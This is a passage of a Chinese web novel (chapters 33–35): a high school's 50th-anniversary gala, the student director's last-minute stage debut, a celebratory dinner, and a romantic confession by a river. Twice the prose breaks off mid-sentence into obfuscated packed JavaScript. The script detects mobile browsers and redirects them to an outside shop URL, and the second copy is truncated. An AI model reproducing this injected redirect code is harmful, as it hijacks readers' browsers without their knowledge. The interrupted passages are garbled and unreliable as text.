这场等待已久的盛大战役终于正式拉开帷幕。 33. 第 33 章 校园的大门早早地被装饰一新,彩旗飘扬,横幅高悬,小广场最显眼的地方摆了一面赤红签名墙,在残阳下隐隐泛着金箔。晨星二中五十周年校庆正式开始,学校里是前所未有的热闹,石砖路面一个个白色箭头引领嘉宾们走向礼堂方向。 礼堂大门敞开,热烈地迎接同学们的到来,嘉宾和媒体也陆续入场,一时人声鼎沸,放眼望去一片欢欣景象。 “各位观众朋友们好,这里是安岚电视台,晨星二中位列安岚重高前三甲,以出色的升学率和海纳百川的校风深受家长和同学们的信任,今天这所名校迎来五十年校庆,我们将在这里一睹晨星学子们的风采...” “本次校庆晚会特意开设网络同步直播,没有来到现场的朋友们也能欣赏到精彩的表演...” 各种声音糅杂在一起,一浪高过一浪,沈羡瑶在后台透过酒红幕布缝隙悄悄向场外看去,大脑微微眩晕。耳膜有些不真切地模糊,她捂住胸口,只觉得心脏快要从那里蹦出来。 偌大的礼堂坐满了人,黑压压一片,沈羡瑶不禁暗自感叹,这里原来能容纳下这么多人的吗?音响里正放着大家耳熟能详的歌曲热场,她拿起桌面的矿泉水仰头抿了口,才发现手心不知何时已变得汗津津的。 宋静雯扯着嗓子忙着催场,整个后台回荡着她的声音;江昱然只有最后一个节目,在上台前都在声音组帮忙,陆洋阳则安静候场;李嵩在舞美组,忙着清点一会儿要用的道具热出浑身燥汗。 五点二十九分。 沈羡瑶深吸一口气,戴上耳机,攥着对讲的手指逐渐收紧,沉声道:“各部门准备。” 她给旁边负责灯光的同学递了个眼色,在心里默默倒计时,三、二、一!礼堂的灯霎时整齐地灭掉,陷入黑暗,人群惊呼一声后,立即反应过来,爆发出热烈的掌声。 随着第一道钢琴音色响起,一束冷白灯光打在舞台,那仅有的光亮瞬间成为所有视线焦点。几个穿着晨星制服的少男少女有层次地挨个起身,在舒缓背景音中柔和地做出舞蹈动作,开头的一小part引入结束,随着一个重重的鼓点,舞台登时亮起,所有的演员全部亮相。 还没等众人从方才的氛围抽离出来,鼓点迭起节奏变得愈发激扬,演员们排成方阵占满整个舞台,动作尽显青春活力,整齐地像是从一个模子里刻出来的。 开场舞翻跳自日本女高的群舞——马戏之王《Thisisme》。高潮到来时,少年们里三层外三层围成圈跳舞,像是夏日篝火前的一场狂欢,烟灰裙摆随着旋转飘扬绽放,蓬勃朝气和力量感几乎要溢出来,感染着在场的每个人。 “Whenthesharpestwordswannacutmedown.” “I''mgonnasendaflood,gonnadrownthemout.” “Iambrave,Iambruised.” “IamwhoI''mmeanttobe,thisisme.” 演出最终定格在少年们灿若骄阳的笑容,五彩礼花从舞台两侧“轰”地炸开,五颜六色的飘带洋洋洒洒地飘落,四位主持人缓缓登场。 相当成功的开场。 沈羡瑶看到观众们热情的反应,总算舒了口气,慢慢放松下来,趁着主持人说话的功夫紧锣密鼓地查看台本,推进流程。 下一个节目是沈羡瑶一直比较担心的汉服秀,它不像cos秀有角色人气基础,前面的走秀部分很容易冷场,彩排的时候就反应平平。舞台方案她改了三次,在结尾处还安排了一个舞蹈,到正式演出时还是捏了一把汗。 最先吸睛的是舞台的LED大屏,徐徐铺展开清雅灵动的水墨画,是高山流水的意象,《浮光(TheHistory)》的笛声一出来,就瞬间将人引入古色古香的氛围。 精心装束的演员们按照朝代的顺序依次登场,每次亮相都带起一片惊艳的感叹,舞美组的同学很给力,将梅兰竹菊和各种古风元素运用得出神入化。 宋静雯在一旁也骄傲地挺直腰板,道:“嗐,我大中华的东西,就是漂亮。” 显然,担心是多余的,最终呈现出的效果堪称完美,结尾处所有演员返场共同展示的舞蹈更是将气氛推向高潮,掌声连连。 汉服秀紧接着就是独唱,一首家喻户晓的《凄美地》引发大合唱,各色荧光棒在黑暗中摇晃,连成一片漂亮的灯海。亲友团在底下卖力应援,甚至特意定制了手幅,歌手的搞怪大头贴赫然出现在上面,险些没笑场,愣是掐着大腿紧蹙眉头完成了表演。 台上表演的同学是学校乐队的主唱,趁热打铁,乐队的其他成员也一并上台继续演出,不用报幕就丝滑地过渡到下一个节目。 灯光变成幽蓝色,烟雾适时喷涌而出,将乐队笼罩在里面,勾勒出朦胧轮廓。电吉他的声音一出来,人群就一阵躁动,连着唱了三首知名度高的曲子,宋静雯化身气氛组带动台下观众高举双手,跟随鼓点打着节奏。 接下来是一段电吉他solo,但吉他的音量为了配合先前的人声,在现场根本没有放出来,原本还高涨的气氛登时有些熄了火。沈羡瑶心里一紧,立即在对讲狂call声音组,得到的却是有些慌乱的回应。 她口头安抚着那边,正准备往总控台赶的时候,熟悉的清冽声音带着丝丝电流从对讲传来,令她一瞬间安心。 “我在,”江昱然及时接手,“这边搞定了,不用担心。” 明亮的电吉他音色宛如婴儿的第一声啼哭在礼堂炸开,瞬间点燃全场,乐队成员们松了口气,又迅速调整状态投入演出。沈羡瑶看向礼堂最高点埋首调音台认真操作的江昱然,他似是感应到什么,隔着人潮抬起头与她四目相对,嘴角有些得瑟地上扬一个弧度,好像在说:怎么样,还不快夸夸我。 她轻笑着收回视线,却感觉底气又足了些。 晚会节目过半,宋静雯盯着手机忽地轻呼一声。 “天啊,直播间的人数已经超过五千人了,等演出结束不会破万吧?”她简直不敢相信自己的眼睛。 沈羡瑶抽空瞅了眼宋静雯递过来的屏幕,既兴奋又忐忑,浑身的毛孔好似都张开。 接下来是备受瞩目的舞蹈串烧,也是导播难度最高的一个节目,舞蹈社希望每个上台的同学都能出现在大屏幕上,因此跟拍的镜头需要来回切换。 舞台一共有六个机位,每个机位对应着不同的角度和景别,她听见耳机里总控台准备就绪的报备,略微放下心,转头叮嘱演员舞台C位贴了白色胶布。 为了营造盛典的气氛,舞台设计了很多染色追光灯和脚灯,当视线之内全部变成刺激肾上腺素的扎眼鲜红,观众便知,好戏将要开场。舞蹈演员的剪影逆着光出现在台上,踩着鼓点一步一步向前揭开神秘面纱,尖叫几乎要掀翻屋顶。 “3号,6号,1号,顶摄机位,OK,慢点,再等一个八拍。一二三四五六七八,切4号,好,对准这个红衣女孩,给特写,定格三秒。” LED大屏依次出现演员们的身影和面容,台下的亲友团也是相当给力,欢呼几乎没有停歇过,捧场得很。舞台灯光随着音乐进入高潮而闪烁不断,每一个定点都恰当好处地照顾到。 最后一段齐舞,动感十足的bgm配合大开大合力度到位的动作,简直爽到头皮发麻,就是再慢热的性子也忍不住跟着节奏小鸡啄米。最后的ending定格在6号机位的全景,直到灯光彻底暗下,观众仍旧沉浸在方才的表演中久久未能回神。 “Yes,又解决了一个棘手的难题!” “全程无失误,效果相当好,我们做到了,牛逼!” 对讲机传来兴奋而乱糟糟的声音,沈羡瑶也不禁弯起嘴角,才发现短袖衬衫已经被汗浸透大半。 仅有的一个语言类节目,小品《晨星二三事》笑爆全场,一些只有晨星学子知道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913904|132032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幽默段子让大家心照不宣露出牙花,模仿老师的桥段笑声和掌声就没停下来过,尤其是在调侃李主任的时候。 沈羡瑶有些心虚地瞟了李主任一眼,见他也是一副笑呵呵的弥勒佛样,这才没什么心理负担跟着笑了几声。 动漫社带来的cos秀也毫无疑问地收获巨大反响,晨星学生的二次元含量极高,每一个角色出场时嗓子都快喊破,甚至有为自推挣脸面暗自较劲的架势,空气里隐隐飘着火药味。 令所有人都没想到的是,最后一个出场的竟然经典国漫形象—— 熊大熊二。 观众愣了一下,随即爆发出热烈的笑声和起哄。 “这没话说,国民度一骑绝尘了。” “熊大我男神!!!” “为什么不夸熊二?熊二放心飞,有事自己背!!!” cos秀在一片欢声笑语和讨论中结束,最终只剩下了大轴节目,由沈羡瑶编排的《魔幻时刻》。 沈羡瑶在cos秀前就早早地来到后台,为晚会的收尾做准备。整场演出到现在顺利得有些不真实,出现的许多小问题也都及时解决,她暗自庆幸的同时,却也倍感压力。 晚会的每一个节目都广受好评,她一手编排策划的节目真的能收获大家的喜欢吗,真的能为五十周年校庆画上一个圆满而精彩的句号吗? 然而并没有给她太多胡思乱想的时间,眼前局面便让她眉头一蹙。 梳妆镜前围了一圈人,每个人的脸色都可以用糟糕来形容,崔宁坐在正中央,捂着右脚脚踝,额头布满细密汗珠,疼得直抽气。那里肉眼可见地红肿一片,甚至隐隐透着糟糕的黑紫色。 “怎么回事?”短暂错愕后,沈羡瑶迅速反应过来,蹲下来查看她的伤势。 陆洋阳急得声音都有些变调,解释道:“不小心踩空了,当时还以为没什么事,结果过了一会儿连站都站不起来。” 她默不作声,伸手轻轻摁了摁伤口,崔宁立即呲牙咧嘴地往后躲。 “这伤耽误不得,先去医务室紧急处理一下,然后去医院拍个片吧,放心一点。” 崔宁低着脑袋,愧疚地几乎要哭出来:“实在不好意思,拖大家后腿了。” 她捏了捏崔宁的肩膀,轻声安慰道:“没关系,伤势要紧,你也不想的。” “瑶瑶,还有两个节目哈。”宋静雯拿着台本过来提醒,却也被眼前景象惊得倒吸一口冷气。 后台就像是有一坨巨大的乌云笼罩在头顶,气压低得骇人。 表演在即,有重要份量的女主演临上台时受伤了,还有比这更令人头大又无奈的情况吗? 宋静雯小心翼翼去看她的表情,无声地捏着她的肩膀。 正当众人一筹莫展,以为节目肯定没戏的时候,一直沉默的江昱然突然开口:“羡瑶,你来演吧。” 她怔了瞬,嘴巴微张着。 “对啊,瑶瑶你排了整个节目,从头到尾的流程和动作你都清楚,你来补上这个位置最合适不过!”宋静雯觉得说得在理,激动地附和。 “这确实是现在的最优解,我实在不想看到大家的心血因为我白费。”崔宁眼睛一亮,像抓住救命稻草,忙不迭道。 沈羡瑶的拳头攥紧又松开,心里一团乱麻。从理智上讲,她明白自己鼓起勇气站出来是解决现在局面的最好方法,没有比她更清楚所有动作和流程的人。但感性上,她缩在保护壳里的那个胆怯柔软的沈羡瑶,又开始不争气地打起退堂鼓。 怎么就变成现在这样了呢?万一她没做好呢?万一她反而成了那个唯一拖累大家的人呢。 嘴唇被咬得微微泛白,紧攥着衣角的手却被人缓缓扶上,掌心的温度不真切地传来,她微微一怔,从江昱然的眼瞳里看见了犹豫的自己。 那股横冲直撞的急躁和不安慢慢平静下来。 她凝着他,听见他说: “我说过的,我们很默契。” 34. 第 34 章 换装室的门缓缓打开,沈羡瑶捏着裙摆,有几分局促地出现在众人眼前。见大家都不说话,她挤出抹僵硬笑容,下意识看向熟人方向试探道:“...是不是很奇怪?” “哪里奇怪了?”宋静雯夸张地张大嘴巴,“你是不是不知道自己现在有多好看?” “谢天谢地,我们的身高体重差不多,这衣服你穿得正合适。”崔宁也跟着点头。 明黄色的裙子,没有一处多余剪裁,勾勒出清晰腰线,裙摆刚好到膝盖,漾开规整又散漫的波纹。胸前布料没太撑起来,但反而有一种别样的挺拔气质,整个人安安静静地站在那里,就像是一株沾满露水在田野里轻轻摇曳的向日葵。 时间紧迫,她连发型都来不及搞,被不容分说地一把摁在镜子前,粉扑急吼吼地往脸上拍,柔顺长发半扎着,就这样风风火火地去候场。 cos秀正在如火如荼地进行,台下欢呼一浪高过一浪,沈羡瑶待在舞台左侧,心跳却盖过了震耳欲聋的杂音。 她有多久没站在聚光灯下了? 留给她整理心情的时间并不多,主持人已经在报幕。她眼神扫动着去寻找江昱然的身影,却并没有第一时间看见他,这才意识到他应该早早地在站位等候。她稳了稳心神,强迫自己压下那股揣揣不安,目光落在位于舞台中央偏右一点的江昱然身上。 舞台上一片漆黑,周围安静极了,就连台下观众也没怎么发出声音。 直到一道冷白灯束静悄悄地落下。 表演开始。 第一声低沉钢琴音色响起,那段扣人心弦的经典旋律缓缓流淌在整个礼堂,空气都变得粘腻起来,说不出的惆怅忧郁。 一个人,一架电子琴,空荡荡的舞台。 江昱然刻意压低嗓音,声线像薄荷色磨砂纸,干净却又微微发涩。修长手指在键盘间游走,英文歌词从他唇齿间溜出来。 “Cityofstars,Areyoushiningjustforme.” “Cityofstars,There''ssomuchthatIcan''tsee.” “Whoknows,IfeltitfromthefirstembraceIsharedwithyou.” “Thatnowourdreams.” “They''vefinalletrue.” 独奏的最后一个尾音也结束,他顿了两秒,静静向着舞台左侧看去。 沈羡瑶大脑轻轻“嗡——”了一声,像是设置好的程序接受到某个信号,鬼使神差地,在他直勾勾的注视中慢慢走上舞台。 灯光变成暧昧蓝紫,是那种恰当好处能营造气氛,却不会消解人物的颜色。一男一女的搭配,观众变得兴奋,已经有人开始嘴巴凹成“O”形地起哄。 她原本以为自己会紧张地浑身发抖,踏入光亮万众瞩目的一瞬间,她却几近本能地扬起明媚笑颜。全身的细胞好像都被唤醒,热爱和经验并没有背叛她,除去微颤的指尖暴露了她算不得平静的内心,整个人已经完全进入表演状态,找不出一丝破绽。 欢脱又鲜明的鼓点响起,两人坐在长椅上,踩着节奏做出俏皮动作,LED背景是橙紫相织霞光满天的暮色。白衬衫和小黄裙成了舞台上最亮眼的色彩,像两只扑棱着翅膀的鸟儿,轻盈而自由地穿梭于音符间。 舞台就是他们的天空,沈羡瑶和江昱然同时伸展开手臂,脚步跟随音乐快而不乱地变换,踩踏地面的声音清脆空灵。她迈着碎步旋转,柠檬黄裙摆绽放出好看的弧度,江昱然始终与她胶着段恰当好处的距离,你追我赶,有来有回。 就连一向最看不得这种的李主任,脸上也不禁堆出姨母笑。 老实说,一直到表演进入后半程,沈羡瑶的状态还是有点紧绷着,脑海里闪过一个又一个并不连贯的片段,全凭着可怕的肌肉记忆完成了动作。 过渡旋律响起,灯光再度变得昏暗,她猫着腰退到舞台两侧,小口喘着气平复呼吸,这才回转些许自主意识。 bgm变得愈发激情澎湃,预兆着高潮的来临,观众席的过道突然落下冷白光束,伴随人群的惊呼,几个身着鲜亮色彩衣服的少年惊艳地出现在众人视线中。前排的观众立即抻长脖子扭头去看。 其余演员也一窝蜂地冲上舞台,即刻将今晚的气氛推向顶点。观众席的演员们扬起笑容,各显神通,有的将早准备好的糖果洒下,有的伸出双手热情洋溢地和观众互动,最后在一浪高过一浪的欢呼声中齐齐奔向舞台。 沈羡瑶嘴角逐渐翘起,彻底被高涨的氛围感染,全身的血液好像都沸腾起来。 管弦乐激昂地亮出来,回荡在整个礼堂,江昱然紧紧攥住沈羡瑶的手,和她一起奔向舞台,加入最后的狂欢。 舞台上满是五颜六色高饱和度的小裙子,凑齐彩虹的颜料,舞蹈融入拉丁和复古爵士的元素,走位不时变换,生命力几乎要溢出来。 “Thatsomeoneinthecrowd!” 仅有的一句高音人声吹响凯旋的号角。 沈羡瑶和江昱然面对面配合着,不知是谁先没忍住,两人皆轻笑出声,好在于这盛典的氛围中并不突兀。可逐渐地,沈羡瑶敛了笑意,盯着他的眼眸愈发认真,明明周围喧嚣鼎沸,对她来说却好像一瞬间万籁俱寂,世界都变成黑白色,除了眼前那一抹跳动的深蓝。 第一次见你的时候,我的心里已经炸成了烟花,需要用一生来打扫灰炉。 好像是这种感觉。 原来是这种感觉。 时间仿佛在这一刻静止,她切切实实感受到江昱然掌心的温度,鼻息的起伏,他身上那股冷棉糅杂着佛手柑的淡淡香气,真好闻。 漫天彩带纷纷扬扬地落下,沈羡瑶面对着所有观众,定格在最后的ending动作,胸腔一起一伏。大脑充血的感觉褪去之后,是漫长的空虚和平静。 掌声雷动,久久未能平息。 结束了,都结束了。 “晨星二中的五十周年晚会正式圆满结束,孩子们实在是太棒了,我还没有从刚才的余韵中脱离出来...”记者兴奋的播报声在背景中响起。网络直播在线观看人数突破1W+,断层打破校史记录。线上线下热烈的反响,都毫无疑问地说明了晚会的巨大成功。 沈羡瑶站在原地,突然就有几分想哭的冲动。 她原本和江昱然并排站在一起,后腰却被他轻轻推了一把,上前两步站定。她怔了瞬,台下乌泱泱的人头变得清晰又模糊,嘴边尝到些许咸涩滋味,这才反应过来自己不知何时已经满脸泪水。 “好好享受属于你的时刻,沈导演。”身后传来江昱然清冽的声音。 宋静雯和李嵩兴高采烈地拿着一大束捧花奔上台,在掌声和欢呼声中将它塞进沈羡瑶怀里。她抱紧花束,又哭又笑,和他们紧紧拥在一起。 “导演牛逼!晨星牛逼!” 陆洋阳带头喊道,引起一片应和,掌声甚至比刚才还要热烈。 “大家都辛苦了,谢谢,真的谢谢你们。”她折成120度,深深地冲着在场的每一位鞠了一躬。 再抬起头时,她和台下的一道热切视线撞了个正着,这才发现,沈如晴坐在第一排的位置,也跟着一边鼓掌一边傻呵呵地咧开嘴巴,泪水却糊了满脸。 沈羡瑶跨越人群,和沈如晴无声地对视。 聚光灯下,她缓缓挺直了腰板。 ...... 观众已经全部离场,原本热闹的礼堂又恢复空荡荡的模样,沈羡瑶将最后一箱道具搬到后台,坐在第一排最边上的座位盯着舞台发愣。 她咬开一袋草莓牛奶,冰凉清甜的液体滑过喉咙,总算缓解了那快要冒火的干燥。 身旁的座位却被一个意想不到的人占据,她望着陶早迟疑地眨眨眼睛,一时竟不知道该不该将嘴里的那一口奶咽下去。 陶早抱着臂往椅背懒懒一靠,语气依旧没什么情绪:“晚会我看了,还不赖。” “准确来说,”她顿了顿,似是意识到自己的姿态并不适合现在的场合,终是将胳膊慢慢放下来,继续道,“是很精彩才对。” 沈羡瑶将眼睛睁圆了些,老实说,她跟陶早连熟都算不上,甚至对于她能记住自己名字这事,她都要小小地惊讶一下。印象里的陶早,总是有距离感又令人艳羡的存在,这样的她主动来到身边交谈,沈羡瑶很意外。 但不得不承认,现在的氛围很放松,甚至令她喜欢。 陶早将视线投向面前空荡的舞台,那里仿佛还残留着盛典的余韵。 “其实一开始,你对我来说很陌生,说得再过分些,应该是根本没放在眼里。我第一次注意到你,是发现你在江昱然身边出现的频率越来越高,而他似乎对你,有点不太一样。” “我跟江昱然,”她耸耸肩笑道,“青梅竹马?你是不是经常听其他同学们这么说。” “是也不是吧,我和他确实从小一起长大,关系却没传得那么要好,更不存在什么暧昧。但借着这点特殊关系,我得以窥见关于你的更多,也开始不由自主地关注你。这个时候,我对你还只停留在好奇,或者说...带有玩味的审视。” “可逐渐地,我们明面暗面上的交集越来越多。你差点代替我成为了节目的领诵,又得到了晚会导演的位置,甚至在之前的一次月考也发挥的很出色,年级第九,和我的排名一样。我从小到大受到的教育都是优绩主义,在所有的竞争中都要成为最好的那个,所以我不可避免地对你产生了更多的情绪。” “我想你应该能明白我的意思。”她将嘴唇抿成一条直线,声音放轻了些。 “因此我笃定地以为,当晚会结束之后,如果效果不尽如意,我应该会阴暗地开心上一小会儿,如果反响热烈,那么我一定会不太好受。” “但当尘埃落定时,我突然发现,我并不难受或是嫉妒,甚至只是感到开心和骄傲,为你,为晨星。” 沈羡瑶静静转头看她,有几分怔然。 陶早下巴昂起微小的弧度,目光愈发柔和:“我真心真意地,为你感到开心,也由衷地欣赏你,佩服你。” “其实我们真的挺像的,如果你再早些时间转来,没准我们会成为很不错的朋友。” 沈羡瑶弯弯眼角:“我们现在也能成为很不错的朋友。” 她轻轻笑了声,多种色调在她珀色眼眸里交融互汇,双眼皮的褶皱压深,透亮的光在瞳孔流转,坦诚而平静。 “但直到现在,我仍坚定地认为,如果我是导演的话,未必会比你差。” “也许会比你做得更好。” 沈羡瑶将后背完全贴上椅背,将仅剩的一袋草莓牛奶顺手递给了身旁的陶早。 她眉头微微蹙起,下意识往后躲:“劣质香精。” 沈羡瑶咂咂舌,自讨没趣地想将心爱的草莓牛奶拿走,还没等手灰溜溜地收回,陶早又捏着袋子一角将它拎过去了。 “...我没说我不喝。” 手机忽地震动两下,沈羡瑶掏出来一看,小群里正聊得热火朝天,也不背着她,就大剌剌地预谋着如何窜掇她请客。 [陆洋阳:@沈羡瑶,哎呀手滑了,没别的意思。] [宋静雯:@沈羡瑶,哎呀手滑了,没别的意思。] 沈羡瑶笑意愈浓,在群里慷慨地发送几个大字。 [今晚下馆子搓一顿好的,地方你们定,我请客。] [老板大气。] [老板大气。] [老板大气。] - “干杯!” 五个玻璃杯碰撞在一起,摇摇晃晃溅出几滴橙黄液体,气泡咕嘟咕嘟地冒上来,冰块沿着杯壁打转,像三角铁叮当作响。故作成熟地扮成大人模样,杯子里装的却是橘子味的北冰洋。 说是要好好宰沈羡瑶一顿,几人最终也只是选了一家家常菜馆,好吃平价,人也不多。 陆洋阳先起哄道:“晚会这么成功,导演不得说两句?” “就是就是,快发表几句感想。” “哎呀,还能说什么,”沈羡瑶被架到这个份上,有些不好意思地清清嗓子,“说实在的,最终的效果要比我想象中的惊喜太多了,也多亏了各位的存在,让这场晚会的落幕还算圆满。” 她举着杯子挨个敬过去,狂吹彩虹屁:“李嵩你简直太能干了,简直是我们晚会的中坚力量,舞美组没你不行!静雯大宝贝,谢谢你陪着我忙前忙后,你的嗓子也辛苦了;陆洋阳同志,感谢你作为重要的门面担当参与了多个节目,号召力只能用强悍来形容。” “当然,也要对我敬爱的同桌江昱然致以真诚的感谢,”她瞥了眼江昱然,忽地词穷,飞快地碰了下他的杯子,仰头一饮而尽,“虚的也不多说,都在饮料里。” “怎么到最后一个,就这么羞涩和官方。”李嵩右脸颊印出浅浅酒窝。 宋静雯也跟着贼眉鼠眼地撞了下她肩膀:“有什么我们不能听的,还是你要回去跟某人说悄悄话。” 沈羡瑶连忙往她嘴里塞了个花卷,忿忿道:“吃的都堵不住你的嘴。” 江昱然没吭声,只是低着头安静地将盘子里的鱼刺都挑干净,自然地往沈羡瑶那一推,嘴角似有似无地牵起一个低调的弧度,看样子心情还不赖。 吃饱喝足,几人还在兴头上,陆洋阳拿出早已准备好的扑克牌,玩起七王五二一,流行是个圈,这种在他们小时候特别受欢迎的游戏,最近又变得热门。 “一个3。” “5。” “大王!”陆洋阳脸上的得意几乎掩饰不住,左看看右看看,猛地把牌往桌面上一甩,“怎么样,尔等还不快快投降!” 他眼珠子滴溜溜转了一圈,却在转到江昱然这儿的时候笑容倏然僵住,结巴道:“等等,我可太熟悉这个表情了,你,你不会...” 江昱然手中的牌挡住下半张脸,露出的一双眼睛却弯得狭长了些,就像是特意为了打他脸似的,慢吞吞将一张牌压在那张大王的上面:“7。” “我记得7明明都出完了啊?”陆洋阳不信邪,扎进牌堆里来回扒拉,确认是自己记忆出现偏差后双手扶着脑袋无能狂怒,特别像网上很火的抱头尖叫小猫。 这轮是江昱然赢了,他冲陆洋阳招了招手,眼里的笑意更深,却只让陆洋阳觉得凉飕飕的。还没等他反应过来,脸上就又被“啪嗒”贴了个湿纸条,他撸起袖子,反而越挫越勇。 宋静雯看着他们相爱相杀,几乎要笑倒在沈羡瑶身上。 几轮下来,每个人脸上都或多或少挂了几根白纸条,显得滑稽又狼狈,他们瞅着彼此的模样,又开始拍着大腿毫不客气地笑,只感觉无论做什么都有意思。 沈羡瑶去了趟洗手间,将脸上的纸条全都摘掉,草草用冷水洗了把脸,清醒了几分,明明还没吃酒,现下倒是有点微醺的感觉。等她回来的时候,座位上只剩下江昱然和李嵩,陆洋阳和宋静雯正和饭馆门口的那只小土狗玩得不亦乐乎。 她笑着给两人拍了张照,身边却传来一声刻意的轻咳。 江昱然托着脸,也不说话,就那样静静地盯着她。她突然想起来,先前江昱然赢了一轮,自己却以脸被纸条贴满为由躲了一次惩罚,答应好他游戏结束乖乖挨一记脑门弹来着。 唉,出来混迟早要还的,沈羡瑶幽幽叹了口气,老实凑到他面前,闭紧眼睛。 预想中的疼痛却没有到来,她悄悄将眼睛睁开一条缝,却发现江昱然正好整以暇地看着自己,似是觉得她这副视死如归的模样有点好笑。 半晌,他伸手过来,翘起两根手指,做足了架势,却只在沈羡瑶额头轻轻地弹了一下,蜻蜓点水一样。 坐在对面的李嵩默默咬下一口面包片,只一直用那种迷之微笑盯着他们,眼神在两人间来回游走,倒让沈羡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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几人吃饱喝足玩得尽兴,各自挥手作别,分道扬镳。沈羡瑶和江昱然并肩往回走,又陷入默契却又不令人尴尬的沉默。 这个天气夜晚的温度很舒服,穿着短袖走在路边正正好好,褪去太多白日烈阳拷打下的闷热。风吹过鼻尖,咸涩而湿润,植物是雨淋过的那种翠绿,披着月色和昏暗路灯氤氲的光晕,一阵一阵地摇曳。 这沉默却又不同往日,两人的脚步趋于一致,越靠越近,手臂隔着一层薄外套,时不时地擦过。走走停停,欲言又止,像是不约而同都憋着事,等待合适的时机开口。 “这段时间辛苦了。”终是江昱然先一步打破沉寂。 “你也是,”她弯弯唇角,“总算有种心里的大石头落了地的感觉,回去我一定要好好地睡个懒觉。” 他应了声,忽地想到什么,歪头看过来:“上次的asmr,效果怎么样?” “我刚想说这个来着,我本来以为这些东西已经对我不管用了,结果听你做的这版睡得要格外快些,真的很神奇。”她说着拿出手机给他展示循环了60来遍的痕迹。 “那就好,”他步子都轻快起来,“不枉我在海边干坐了一个下午。” 沈羡瑶一怔:“嗯?那个是你自己去录的啊?我还以为是你从素材库里剪的呢。” “...那也太没诚意了。”他撇撇嘴,似是对沈羡瑶这样认为感到不满,“我连着去了两次,后面那次是因为总有底噪不满意又补录了一遍,结果回来还给自己折腾发烧了。” “发烧?你发烧了?” 沈羡瑶也不继续往前走了,手因为着急没怎么注意地就抓住他的胳膊,眼睛睁圆了些,闪烁着柔和光亮。 见她这副模样,江昱然嘴角暗爽地翘起一个弧度,轻轻“昂”了一声:“我还特意发了条朋友圈寻思卖个惨呢,结果某人连赞都没点,更别提嘘寒问暖了。” “我没看到呀,而且,没想到你还在意点不点赞这些。”她挠挠脑袋,不好意思道。 当然在乎,只要是和你有关的都在乎,他在心底默默想。 沈羡瑶想了想,认真说:“微信不是有个提到了某某朋友这个功能吗?你下次艾特我一下,这样我肯定就不会错过了。或者,你直接给我发消息不就好了。” “特意给你发消息说我生病了?”他拿手背蹭蹭鼻子,轻笑道,“未免太矫情。” “怎么会,我肯定会关心你的啊。” 江昱然顿住脚步,盯着她,语气是少有的正经和认真:“为什么?” 她从江昱然的眼瞳中看见了自己的倒影,不由得呼吸一滞:“什么为什么?” “为什么要关心我。”他今晚格外执着,上前两步,非要刨根问底问出个所以然。 沈羡瑶缓缓眨了两下眼睛,喉咙忽地没由头地发干,嘴唇被她一下一下地抿着,红润异常。半晌,她犹豫道:“因为...我们是很好的朋友。” “就这样?”江昱然眉毛轻轻抬了一下,眼睛里的光黯淡下来。 “你好像有很多好朋友。”他吃味地移开视线,却也没再多说,两人又这样沉默地并肩往前走。 夜色是片流转的银河,江水涌动像从远方传来蓝鲸的鸣叫,月亮不知道什么时候消失了,薄薄的雾霭泛着朦胧的白。 在这样的氛围里,做什么都疯狂又浪漫。 好像是美妙而恰当的时机。 “但你又不一样。”沈羡瑶将拳头攥紧又慢慢松开,盯着自己的小白鞋,甚至不敢转头和他对视。 是了,就这样鼓起勇气踏出第一步,这样的开场白,只要不是感情迟钝都会反应过来什么意思吧,她紧张得呼吸都不平稳。 心脏跳动的声音几乎要盖过一切,风捎来江昱然有些听不真切的话。 “你知道一些冷知识吗?比如拉斯维加斯的赌场都没有钟,人的一生中大概会脱落18千克的皮肤。” 她大脑晕乎乎的,勉强将他的话过滤了一遍。什么钟和皮肤,在这种时候说这些未免太煞风景,如果他没听清她刚刚的话,不,或者是装作没听清,那她真的要找个地缝钻进去。 “再比如,人和喜欢的人对视的时候,瞳孔会放大45%。” 沈羡瑶心脏猛地一颤,愣愣抬起头,正正好好撞入江昱然漆黑瞳仁,有星辰大海,潋滟波光,以及自己的倒影。 “我的意思是,你可能有很多不知道的事。” 江昱然先一步移开目光,她有几分慌乱地吞了吞口水,还未从刚才猝不及防的对视中回过神,本来好不容易整理好的语言被搅得一团糟。真的是,什么乱七八糟的,他到底要干什么啊... “你说的这些,我都听过,有什么不知道的。”她没好气地嘴硬道。 “那我喜欢你这件事,你也知道吗?” 周围景物像是蒙了一层滤镜,入目皆是单调深邃的蔚蓝,云朵是,天空是,江水也是。沈羡瑶停住脚步,身体里悄无声息地刮过一阵龙卷风,灵魂都颤栗。 江昱然喉咙上下滑了滑,见她呆愣在原地没反应,后知后觉地感到慌乱与羞赧。他低着脑袋,将外套帽子往头上一兜,往嘴里快速塞了颗清新口气的葡萄味薄荷糖,往前大步流星地迈去,含糊不清道:“过了这座桥,就要到地铁站了。” “江昱然。”沈羡瑶轻轻叫了声他的名字。 他犹豫几秒,温吞转过身,隔着一段不远不近的距离静静凝着她。 江水翻滚泛起潋滟的波光,和蓝紫色天空上的繁星遥遥相望,她走上前去,明明是凉爽的温度却只觉得浑身发烫。 耳朵好像被捂住,屏蔽了世界所有喧嚣,万物缄默,于是她仰起头,目光一寸寸具象化地落在他微颤的睫毛,挺翘的鼻尖。 “薄荷糖是什么味道?” ...... 回应她的是嘴角温热而湿润的触感,江昱然弯下腰,小心又虔诚地落下轻柔的一个吻。 沈羡瑶阖紧眼,漫上江边的潮气,被佛手柑的气息包裹侵占,坠入整片晦暗夜色。 如果时间停留在这一刻也不错,就让他们一同沉溺在,这无尽的声色浪漫。 35. 第35章 天边燎起一抹火,将云朵焙成暖橙色,边缘像被羽化了似的,懒洋洋地在紫灰背景布上飘着。 今天的作业任务并不重,沈羡瑶在学校就早早完成了,背包里只剩下一本带回家背的文常书,肩上的重量轻得有点不习惯。 